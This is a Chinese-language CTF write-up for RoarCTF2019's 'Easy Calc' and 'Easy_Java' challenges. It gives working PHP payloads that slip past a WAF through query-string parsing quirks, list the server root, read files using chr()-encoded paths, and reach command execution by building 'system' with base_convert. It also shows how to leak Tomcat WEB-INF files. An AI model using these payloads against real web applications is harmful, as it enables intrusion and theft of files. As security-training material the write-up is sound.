RoarCTF2019
Easy Calc
cacl.php
1 |
|

存在Waf,尝试用php字符串解析特性绕过
php字符串解析特性
| 输入 | 输出 |
|---|---|
| %20news_id | news_id |
| news%20id | news_id |
| news%00id | news |
| news[id | news_id |
| news.id | news_id |
| news+id | news_id |
| news_id%20 | news_id_ |

绕过后发现禁用了一些函数

方法一:
利用一些php的文件操作函数:
- getcwd — 取得当前工作目录
- dirname(string $path) — 返回 path 的父目录
- scandir — 列出指定路径中的文件和目录
payload1:
chr(47)绕过黑名单中的/,看一下根目录下有啥?%20num=print_r(scandir(chr(47)))
1 | Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1 |
payload2:? num=var_dump(scandir(dirname(dirname(dirname(getcwd())))));
在根目录发现flag的位置/f1agg
由于
1 | $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; |
过滤了/,‘等字符不能够直接var_dump(file_get_contents(’/f1agg’))所以想到了利用编码来绕过。var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))可以得到flag.
方法二:
这个计算器特写向国赛初赛的一道题,这个可以采用国赛拿到题目的做法来做题。
base_convert函数可以在任意进制之间转换数字,可以返回任意字母,需要注意它无法返回_ *等特殊字符
1 | echo base_convert('system',36,10); |
? num=base_convert(1751504350,10,36)(base_convert(784,10,36))可以成功执行ls;
Easy_ Java

fuzz了一下应该是没有注入点,点击help

这里get方式提交只返回这种页面,得用POST方式提交(留个坑以后填)。

测试的时候发现这是tomcat服务器,后台是java编写

所以看一下有没有相关的源码泄漏
1 | /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 |
确实有/WEB-INF/web.xml ,在里面发现了FlagController这个类,应该是控制flag的,尝试下载,
1 | <servlet> |
要用tomcat项目存放路径来下载/WEB-INF/classes/com/wm/ctf/FlagController.class
strings _WEB-INF_classes_com_wm_ctf_FlagController.class



